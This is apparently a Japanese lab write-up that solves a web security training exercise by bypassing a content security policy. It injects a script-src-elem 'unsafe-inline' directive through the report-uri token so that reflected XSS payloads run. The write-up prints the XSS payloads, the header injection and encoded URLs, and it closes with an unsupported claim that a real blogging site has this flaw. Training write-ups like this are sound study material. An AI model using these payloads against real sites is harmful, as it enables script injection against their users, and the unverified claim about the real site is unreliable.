Hello there, ('ω')ノ
CSPバイパスを使用してCSPで保護された反射型XSSを。
このラボでは、CSPを使用しているとのことで。
コンテンツセキュリティポリシー (CSP) は。
クロスサイトスクリプティング (XSS) などの攻撃を検知して。
影響を軽減するために追加できるセキュリティレイヤーで。
CSPには、適用したいCSPを表すディレクティブから構成される文字列が入って。
まずは、Intercept responses based onにチェックをしておいてから。
まずは、動作確認を。
ペイロードをしかけてみると。
<img src=1 onerror=alert(1)>
攻撃は防御されて。
もう一つのタイプのペイロードもダメで。
"><img src=x onerror=alert(1)>
ソースコードを確認して。
CSPには、report-uriに報告先へのURLが設定されてて。
Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=
CSPに設定されているURIをリピータへ。
ペイロードをパラメータに追加してSnedすると下記のレスポンスが。
なにも変わらず。
Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token=
一応、リクエストメソッドを適当にXPOSTに変更してみるとCSPに追加されて。
Content-Security-Policy: default-src 'self'; object-src 'none';script-src 'self'; style-src 'self'; report-uri /csp-report?token="><img src=x onerror=alert(1)>
HTTP の Content-Security-Policy (CSP) の script-src-elem ディレクティブは。
JavaScript の <script> 要素の有効なソースを指定して。
unsafe-inlineは、インライン<script>要素やjavascript:URL。
インラインイベントハンドラ、インライン要素などのインラインリソースを許可して。
<script>alert(1)</script>&token=;script-src-elem 'unsafe-inline'
まずはエンコードして。
すべてをエンコードしてパラメータとして追加するとうまくいかないので。
必要な箇所のみを変更するとクリアできた。
もしくは、
https://ac811ff11f62cf22804b1be8001c0006.web-security-academy.net/?search=<script>alert(1)</script>&token=;script-src-elem%20%27unsafe-inline%27
ちなみに追加するパラメータを入力して検索してもうまくはいかず。
結果のURLは、下記のとおりで。
?search=<script>alert(1)<%2Fscript>%26token%3D%3Bscript-src-elem+'unsafe-inline'
さきほどの追加するパラメータ全体をエンコードした際は、&token=はそのままで。
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e&token=%3b%73%63%72%69%70%74%2d%73%72%63%2d%65%6c%65%6d%20%27%75%6e%73%61%66%65%2d%69%6e%6c%69%6e%65%27
レスポンスボディを見るとCSPに反映されてクリアできた。
ちなみにはてなブログのサイトにはこの手の脆弱性があるようで。
Best regards, (^^ゞ